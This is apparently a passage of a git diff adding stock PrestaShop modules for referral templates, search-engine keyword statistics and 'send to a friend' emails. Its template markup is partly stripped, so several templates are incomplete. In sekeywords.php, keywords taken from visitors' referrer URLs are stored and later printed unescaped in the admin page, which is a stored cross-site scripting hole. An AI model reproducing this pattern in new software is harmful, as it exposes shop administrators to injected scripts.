      • + \ No newline at end of file diff --git a/modules/referralprogram/views/templates/hook/order-confirmation.tpl b/modules/referralprogram/views/templates/hook/order-confirmation.tpl new file mode 100755 index 0000000..34dfa77 --- /dev/null +++ b/modules/referralprogram/views/templates/hook/order-confirmation.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        + {l s='Thanks to your order, your sponsor %1$s %2$s will earn a voucher worth %3$d off when this order is confirmed.' sprintf=[$sponsor_firstname,$sponsor_lastname,$discount] mod='referralprogram'} +

        +
        \ No newline at end of file diff --git a/modules/referralprogram/views/templates/hook/shopping-cart.tpl b/modules/referralprogram/views/templates/hook/shopping-cart.tpl new file mode 100755 index 0000000..db9dde6 --- /dev/null +++ b/modules/referralprogram/views/templates/hook/shopping-cart.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +

        + {l s='Referral program' mod='referralprogram'} + {l s='You have earned a voucher worth %s thanks to your sponsor!' sprintf=$discount_display mod='referralprogram'} + {l s='Enter voucher name %s to receive the reduction on this order.' sprintf=$discount->name mod='referralprogram'} + {l s='View your referral program.' mod='referralprogram'} +

        +
        + \ No newline at end of file diff --git a/modules/referralprogram/views/templates/index.php b/modules/referralprogram/views/templates/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/views/templates/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/sekeywords/index.php b/modules/sekeywords/index.php new file mode 100755 index 0000000..e582afc --- /dev/null +++ b/modules/sekeywords/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/sekeywords/logo.gif b/modules/sekeywords/logo.gif new file mode 100755 index 0000000..d5dd1e7 Binary files /dev/null and b/modules/sekeywords/logo.gif differ diff --git a/modules/sekeywords/logo.png b/modules/sekeywords/logo.png new file mode 100755 index 0000000..ea8f97a Binary files /dev/null and b/modules/sekeywords/logo.png differ diff --git a/modules/sekeywords/sekeywords.php b/modules/sekeywords/sekeywords.php new file mode 100755 index 0000000..942f9f0 --- /dev/null +++ b/modules/sekeywords/sekeywords.php @@ -0,0 +1,207 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class SEKeywords extends ModuleGraph +{ + private $html = ''; + private $_query = ''; + private $_query2 = ''; + + public function __construct() + { + $this->name = 'sekeywords'; + $this->tab = 'analytics_stats'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->_query = 'SELECT `keyword`, COUNT(TRIM(`keyword`)) as occurences + FROM `'._DB_PREFIX_.'sekeyword` + WHERE '.(Configuration::get('SEK_FILTER_KW') == '' ? '1' : '`keyword` REGEXP \''.pSQL(Configuration::get('SEK_FILTER_KW')).'\'') + .Shop::addSqlRestriction(). + ' AND `date_add` BETWEEN '; + + $this->_query2 = 'GROUP BY TRIM(`keyword`) + HAVING occurences > '.(int)Configuration::get('SEK_MIN_OCCURENCES').' + ORDER BY occurences DESC'; + + $this->displayName = $this->l('Search engine keywords'); + $this->description = $this->l('Display which keywords have led visitors to your website.'); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('top') || !$this->registerHook('AdminStatsModules')) + return false; + Configuration::updateValue('SEK_MIN_OCCURENCES', 1); + Configuration::updateValue('SEK_FILTER_KW', ''); + return Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'sekeyword` ( + id_sekeyword INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, + id_shop INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + id_shop_group INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + keyword VARCHAR(256) NOT NULL, + date_add DATETIME NOT NULL, + PRIMARY KEY(id_sekeyword) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8'); + } + + public function uninstall() + { + if (!parent::uninstall()) + return false; + return (Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'sekeyword`')); + } + + public function hookTop($params) + { + if (!isset($_SERVER['HTTP_REFERER']) || strstr($_SERVER['HTTP_REFERER'], Tools::getHttpHost(false, false))) + return; + + if ($keywords = $this->getKeywords($_SERVER['HTTP_REFERER'])) + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'sekeyword` (`keyword`, `date_add`, `id_shop`, `id_shop_group`) + VALUES (\''.pSQL(Tools::strtolower(trim($keywords))).'\', NOW(), '.(int)$this->context->shop->id.', '.(int)$this->context->shop->id_shop_group.')'); + } + + public function hookAdminStatsModules() + { + if (Tools::isSubmit('submitSEK')) + { + Configuration::updateValue('SEK_FILTER_KW', trim(Tools::getValue('SEK_FILTER_KW'))); + Configuration::updateValue('SEK_MIN_OCCURENCES', (int)Tools::getValue('SEK_MIN_OCCURENCES')); + Tools::redirectAdmin('index.php?tab=AdminStats&token='.Tools::getValue('token').'&module='.$this->name); + } + + if (Tools::getValue('export')) + $this->csvExport(array('type' => 'pie')); + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.ModuleGraph::getDateBetween().$this->_query2); + $total = count($result); + $this->html = '

        '.$this->displayName.'

        +

        '. + ($total == 1 ? sprintf($this->l('%d keyword matches your query.'), $total) : sprintf($this->l('%d keywords match your query.'), $total)).'

        '; + if ($result && $total) + { + $table = ' +
        + + + + + '; + foreach ($result as $index => $row) + { + $keyword =& $row['keyword']; + $occurences =& $row['occurences']; + $table .= ''; + } + $table .= '
        '.$this->l('Keywords').''.$this->l('Occurrences').'
        '.$keyword.''.$occurences.'
        '; + $this->html .= '
        '.$this->engine(array('type' => 'pie')).'
        +
        +

        '.$this->l('CSV Export').'


        +
        + '.$this->l('Filter by keyword').' + '.$this->l('And min occurrences').' + +
        +
        '.$table; + } + else + $this->html .= '

        '.$this->l('No keywords').'

        '; + + $this->html .= '

        +

        '.$this->l('Guide').'

        +

        '.$this->l('Identify external search engine keywords').'

        +

        '.$this->l('One of the most common ways of finding a website through a search engine.'). + $this->l('Identifying the most popular keywords entered by your new visitors allows you to see the products you should put in front if you want to achieve SEO. ').' +


        +

        '.$this->l('How does it work?').'

        +

        '.$this->l('When a visitor comes to your website, the server notes their previous location. This module parses the URL and finds the keywords in it.'). + sprintf($this->l('Currently, it manages the following search engines: %1$s and %2$s.'), + 'Google, AOL, Yandex, Ask, NHL, Yahoo, Baidu, Lycos, Exalead, Live, Voila', + 'Altavista' + ).$this->l('Soon, it will be possible to dynamically add new search engines and contribute to this module.').'


        +
        '; + return $this->html; + } + + public function getKeywords($url) + { + if (!Validate::isAbsoluteUrl($url)) + return false; + + $parsedUrl = parse_url($url); + if (!isset($parsedUrl['query']) && isset($parsedUrl['fragment'])) + $parsedUrl['query'] = $parsedUrl['fragment']; + if (!isset($parsedUrl['query'])) + return false; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `server`, `getvar` FROM `'._DB_PREFIX_.'search_engine`'); + foreach ($result as $index => $row) + { + $host =& $row['server']; + $varname =& $row['getvar']; + if (strstr($parsedUrl['host'], $host)) + { + $kArray = array(); + preg_match('/[^a-z]'.$varname.'=.+\&'.'/U', $parsedUrl['query'], $kArray); + if (!isset($kArray[0]) || empty($kArray[0])) + preg_match('/[^a-z]'.$varname.'=.+$'.'/', $parsedUrl['query'], $kArray); + if (!isset($kArray[0]) || empty($kArray[0])) + return false; + if ($kArray[0][0] == '&') + return false; + return urldecode(str_replace('+', ' ', ltrim(substr(rtrim($kArray[0], '&'), strlen($varname) + 1), '='))); + } + } + } + + protected function getData($layers) + { + $this->_titles['main'] = $this->l('Top 10 keywords'); + $totalResult = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2); + $total = 0; + $total2 = 0; + foreach ($totalResult as $totalRow) + $total += $totalRow['occurences']; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($this->_query.$this->getDate().$this->_query2.' LIMIT 9'); + foreach ($result as $row) + { + $this->_legend[] = $row['keyword']; + $this->_values[] = $row['occurences']; + $total2 += $row['occurences']; + } + if ($total >= $total2) + { + $this->_legend[] = $this->l('Others'); + $this->_values[] = $total - $total2; + } + } +} \ No newline at end of file diff --git a/modules/sekeywords/translations/en.php b/modules/sekeywords/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/sekeywords/translations/fr.php b/modules/sekeywords/translations/fr.php new file mode 100755 index 0000000..07ffbef --- /dev/null +++ b/modules/sekeywords/translations/fr.php @@ -0,0 +1,26 @@ +sekeywords_65b0b42febc8ea16db4652eab6f420a4'] = 'Mots clés'; +$_MODULE['<{sekeywords}prestashop>sekeywords_de13be6263895a5efe4d51e15ab1535e'] = 'Affiche les mots clés qui ont mené les visiteurs jusqu\'à votre boutique'; +$_MODULE['<{sekeywords}prestashop>sekeywords_16d5f8dc3bc4411c85848ae9cf6a947a'] = '%d mot-clé trouvé pour votre recherche.'; +$_MODULE['<{sekeywords}prestashop>sekeywords_5029f8eef402bb8ddd6191dffb5e7c19'] = '%d mots-clés trouvés pour votre recherche.'; +$_MODULE['<{sekeywords}prestashop>sekeywords_867343577fa1f33caa632a19543bd252'] = 'mots clés'; +$_MODULE['<{sekeywords}prestashop>sekeywords_e52e6aa1a43a0187e44f048f658db5f9'] = 'Occurences'; +$_MODULE['<{sekeywords}prestashop>sekeywords_998e4c5c80f27dec552e99dfed34889a'] = 'Export CSV'; +$_MODULE['<{sekeywords}prestashop>sekeywords_0849140171616600e8f2c35f0a225212'] = 'Filter par mot clé'; +$_MODULE['<{sekeywords}prestashop>sekeywords_6e632566b6e16dbd2273e83d7c53182b'] = 'et minimum d\'occurrences'; +$_MODULE['<{sekeywords}prestashop>sekeywords_fa73b7cd0d2681f6d871c9ef4023ad39'] = 'Appliquer'; +$_MODULE['<{sekeywords}prestashop>sekeywords_7b48f6cc4a1dde7fca9597e717c2465f'] = 'Aucun mot clé'; +$_MODULE['<{sekeywords}prestashop>sekeywords_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{sekeywords}prestashop>sekeywords_9ed50bd6876a9273f2192c224b87657b'] = 'Identifier les mots-clés par moteurs de recherche externes'; +$_MODULE['<{sekeywords}prestashop>sekeywords_6534eadba477de8a632ff59ac20b572f'] = 'Une des façons les plus courantes de trouver un site web grâce à un moteur de recherche.'; +$_MODULE['<{sekeywords}prestashop>sekeywords_0d7ce5d105706cedba41887d3f1c0ea1'] = 'Identifier les mots clés les plus populaires saisies par vos nouveaux visiteurs vous permet de voir quels produits vous devriez mettre en avant si vous voulez attirer plus de visiteurs et clients potentiels.'; +$_MODULE['<{sekeywords}prestashop>sekeywords_359f9e79e746fa9f684e5cda9e60ca2e'] = 'Comment ça marche ?'; +$_MODULE['<{sekeywords}prestashop>sekeywords_722e091cccbd9a9ec8f4a35bf1f35893'] = 'Quand un visiteur vient sur votre site web, le serveur récupère leur emplacement précédent. Ce module analyse l\'URL et trouve les mots-clés en elle.'; +$_MODULE['<{sekeywords}prestashop>sekeywords_d8b08c48a8d8e739399594adec89458a'] = 'Actuellement, il gère les moteurs de recherche suivants: %1$s et %2$s.'; +$_MODULE['<{sekeywords}prestashop>sekeywords_50dca930b804e845a852512b44d51c52'] = 'Bientôt il sera possible d\'ajouter dynamiquement de nouveaux moteurs de recherche à cette liste, et ainsi contribuer au développement du module !'; +$_MODULE['<{sekeywords}prestashop>sekeywords_e15832aa200f342e8f4ab580b43a72a8'] = '10 premiers mots-clés'; +$_MODULE['<{sekeywords}prestashop>sekeywords_52ef9633d88a7480b3a938ff9eaa2a25'] = 'Autres'; diff --git a/modules/sekeywords/translations/index.php b/modules/sekeywords/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/sekeywords/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/sendtoafriend/index.php b/modules/sendtoafriend/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/sendtoafriend/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/sendtoafriend/logo.gif b/modules/sendtoafriend/logo.gif new file mode 100755 index 0000000..8c31836 Binary files /dev/null and b/modules/sendtoafriend/logo.gif differ diff --git a/modules/sendtoafriend/logo.png b/modules/sendtoafriend/logo.png new file mode 100755 index 0000000..f71e37a Binary files /dev/null and b/modules/sendtoafriend/logo.png differ diff --git a/modules/sendtoafriend/mails/en/index.php b/modules/sendtoafriend/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/sendtoafriend/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/sendtoafriend/mails/en/send_to_a_friend.html b/modules/sendtoafriend/mails/en/send_to_a_friend.html new file mode 100755 index 0000000..464e277 --- /dev/null +++ b/modules/sendtoafriend/mails/en/send_to_a_friend.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi {name},
         
        {customer} has sent you a link to a product that (s)he thinks may interest you.
         
        Click here to view this item: {product}
         
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/modules/sendtoafriend/mails/en/send_to_a_friend.txt b/modules/sendtoafriend/mails/en/send_to_a_friend.txt new file mode 100755 index 0000000..6ee66b5 --- /dev/null +++ b/modules/sendtoafriend/mails/en/send_to_a_friend.txt @@ -0,0 +1,13 @@ +Hi {name}, + + +{customer} has sent you a link to a product that (s)he thinks may interest you. + +{product}: {product_link} + + +{shop_name} - {shop_url} + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/modules/sendtoafriend/product_page.tpl b/modules/sendtoafriend/product_page.tpl new file mode 100755 index 0000000..29c77da --- /dev/null +++ b/modules/sendtoafriend/product_page.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • {l s='Send to a friend' mod='sendtoafriend'}
      • diff --git a/modules/sendtoafriend/sendtoafriend-extra.tpl b/modules/sendtoafriend/sendtoafriend-extra.tpl new file mode 100755 index 0000000..f7439b9 --- /dev/null +++ b/modules/sendtoafriend/sendtoafriend-extra.tpl @@ -0,0 +1,97 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • + {l s='Send to a friend' mod='sendtoafriend'} +
      • + +
        +
        +

        {l s='Send to a friend' mod='sendtoafriend'}

        +
        + {$stf_product->name|escape:html:'UTF-8'} +
        +

        {$stf_product->name}

        + {$stf_product->description_short} +
        +
        + +
        +
        +
        +

        {l s='Recipient' mod='sendtoafriend'} :

        +

        + + +

        +

        + + +

        +

        * {l s='Required fields' mod='sendtoafriend'}

        +
        +

        + + {l s='Cancel' mod='sendtoafriend'} {l s='or' mod='sendtoafriend'}  + +

        +
        +
        +
        diff --git a/modules/sendtoafriend/sendtoafriend.css b/modules/sendtoafriend/sendtoafriend.css new file mode 100755 index 0000000..90c3f2e --- /dev/null +++ b/modules/sendtoafriend/sendtoafriend.css @@ -0,0 +1,46 @@ +/* ************************************************************************************************ + PAGE SEND TO FRIEND +************************************************************************************************ */ +#sendfriendpage form.std fieldset { + margin:0 0 20px 0; + padding: 10px 15px; + background: none repeat scroll 0 0 #eee +} + +#sendfriendpage .product {} +#sendfriendpage .product .img_link {float:left} +#sendfriendpage .product .img_link img { + margin:0 10px 0 0; + border:1px solid #ccc; +} +#sendfriendpage .product .product_desc { + float:left; + width:200px; + font-weight:bold; + font-size:12px; + color:#000; +} + +#sendfriendpage #send_friend_form_content {margin-top:40px} +#sendfriendpage #send_friend_form_content .text { + padding-bottom: 10px +} +#sendfriendpage #send_friend_form_content .text label { + display: inline-block; + padding: 6px 15px; + width: 180px; + font-size: 12px; + text-align: right +} +#sendfriendpage #send_friend_form_content .text input { + padding: 0 5px; + height: 22px; + width: 260px; + border: 1px solid #ccc; + font-size: 12px +} +#sendfriendpage #send_friend_form_content .submit { + margin:0 20px 0 0; + padding:5px 0; + text-align:right +} \ No newline at end of file diff --git a/modules/sendtoafriend/sendtoafriend.php b/modules/sendtoafriend/sendtoafriend.php new file mode 100755 index 0000000..8e06282 --- /dev/null +++ b/modules/sendtoafriend/sendtoafriend.php @@ -0,0 +1,84 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class sendToAFriend extends Module +{ + private $_html = ''; + private $_postErrors = array(); + public $context; + + function __construct($dontTranslate = false) + { + $this->name = 'sendtoafriend'; + $this->version = '1.2'; + $this->author = 'PrestaShop'; + $this->tab = 'front_office_features'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + if (!$dontTranslate) + { + $this->displayName = $this->l('Send to a Friend module'); + $this->description = $this->l('Allows customers to send a product link to a friend.'); + } + } + + public function install() + { + return (parent::install() && $this->registerHook('extraLeft') && $this->registerHook('header')); + } + + public function uninstall() + { + return (parent::uninstall() && $this->unregisterHook('header') && $this->unregisterHook('extraLeft')); + } + + public function hookExtraLeft($params) + { + /* Product informations */ + $product = new Product((int)Tools::getValue('id_product'), false, $this->context->language->id); + $image = Product::getCover((int)$product->id); + + + $this->context->smarty->assign(array( + 'stf_product' => $product, + 'stf_product_cover' => (int)$product->id.'-'.(int)$image['id_image'], + 'stf_secure_key' => $this->secure_key + )); + + return $this->display(__FILE__, 'sendtoafriend-extra.tpl'); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'sendtoafriend.css', 'all'); + } +} \ No newline at end of file diff --git a/modules/sendtoafriend/sendtoafriend.png b/modules/sendtoafriend/sendtoafriend.png new file mode 100755 index 0000000..4a6c5d3 Binary files /dev/null and b/modules/sendtoafriend/sendtoafriend.png differ diff --git a/modules/sendtoafriend/sendtoafriend.tpl b/modules/sendtoafriend/sendtoafriend.tpl new file mode 100755 index 0000000..b4bcffd --- /dev/null +++ b/modules/sendtoafriend/sendtoafriend.tpl @@ -0,0 +1,66 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='Send to a friend' mod='sendtoafriend'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        {l s='Send to a friend' mod='sendtoafriend'}

        + +

        {l s='Send this page to a friend who might be interested in the item below.' mod='sendtoafriend'}.

        + {include file="$tpl_dir/errors.tpl"} + + {if isset($smarty.get.submited)} +

        {l s='Your email has been sent successfully' mod='sendtoafriend'}

        + {else} +
        +
        + + +
        +

        + + +

        +

        + + +

        + +

        + +

        +
        +
        +
        + {/if} + + +
        diff --git a/modules/sendtoafriend/sendtoafriend_ajax.php b/modules/sendtoafriend/sendtoafriend_ajax.php new file mode 100755 index 0000000..415b622 --- /dev/null +++ b/modules/sendtoafriend/sendtoafriend_ajax.php @@ -0,0 +1,78 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); +include_once(dirname(__FILE__).'/sendtoafriend.php'); +include_once(dirname(__FILE__).'/../../classes/Product.php'); + +$module = new SendToAFriend(); + +if (Tools::getValue('action') == 'sendToMyFriend' && Tools::getValue('secure_key') == $module->secure_key) +{ + $friend_infos = Tools::jsonDecode(Tools::getValue('friend')); + $friendName = ""; + $friendMail = ""; + $id_product = null; + foreach ($friend_infos as $entry) + { + if ($entry->key == "friend_name") + $friendName = $entry->value; + else if ($entry->key == "friend_email") + $friendMail = $entry->value; + else if ($entry->key == "id_product") + $id_product = $entry->value; + } + if (!$friendName || !$friendMail || !$id_product) + die('0'); + + /* Email generation */ + $product = new Product((int)$id_product, false, $module->context->language->id); + $productLink = $module->context->link->getProductLink($product); + $customer = $module->context->cookie->customer_firstname ? $module->context->cookie->customer_firstname.' '.$module->context->cookie->customer_lastname : $module->l('A friend', 'sendtoafriend_ajax'); + + $templateVars = array( + '{product}' => $product->name, + '{product_link}' => $productLink, + '{customer}' => $customer, + '{name}' => Tools::safeOutput($friendName) + ); + + /* Email sending */ + if (!Mail::Send((int)$module->context->cookie->id_lang, + 'send_to_a_friend', + sprintf(Mail::l('%1$s sent you a link to %2$s', (int)$module->context->cookie->id_lang), $customer, $product->name), + $templateVars, $friendMail, + null, + ($module->context->cookie->email ? $module->context->cookie->email : null), + ($module->context->cookie->customer_firstname ? $module->context->cookie->customer_firstname.' '.$module->context->cookie->customer_lastname : null), + null, + null, + dirname(__FILE__).'/mails/')) + die('0'); + die('1'); +} +die('0'); diff --git a/modules/sendtoafriend/translations/fr.php b/modules/sendtoafriend/translations/fr.php new file mode 100755 index 0000000..447ed16 --- /dev/null +++ b/modules/sendtoafriend/translations/fr.php @@ -0,0 +1,25 @@ +product_page_2107f6398c37b4b9ee1e1b5afb5d3b2a'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_ajax_22c4733a9ceb239bf825a0cecd1cfaec'] = 'Un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_d1f092e79827eaffce4a33fa011fde24'] = 'Vous n\'avez pas rempli les champs requis'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_2107f6398c37b4b9ee1e1b5afb5d3b2a'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_5d6103b662f41b07e10687f03aca8fdc'] = 'Destinataire'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_bb6aa0be8236a10e6d3b315ebd5f2547'] = 'Nom de votre ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_099bc8914b5be9e522a29e48cb3c01c4'] = 'Adresse e-mail de votre ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_e81c4e4f2b7b93b481e13a8553c2ae1b'] = 'ou'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend-extra_94966d90747b97d1f0f206c98a8b1ac3'] = 'Envoyer'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_2074615eb70699e55b1f9289c6c77c25'] = 'Module envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_3234e2609dd694d8763c390fe97eba04'] = 'Permet à vos clients d\'envoyer des liens à leurs amis'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_2107f6398c37b4b9ee1e1b5afb5d3b2a'] = 'Envoyer à un ami'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_20589174124c25654cac3736e737d2a3'] = 'Envoyer cette page à un ami susceptible d\'être intéressé par le produit ci-dessous'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_b31afdfa73c89b567778f15180c2dd6c'] = 'Votre email a bien été envoyé'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_e55de03786f359e2b133f2a74612eba6'] = 'Nom de votre ami :'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_19f41c3d6db934fb2db1840ddefd2c51'] = 'Email de votre ami :'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_2541d938b0a58946090d7abdde0d3890'] = 'Envoyer'; +$_MODULE['<{sendtoafriend}prestashop>sendtoafriend_68728c1897e5936032fe21ffb6b10c2e'] = 'Retour à la fiche produit'; diff 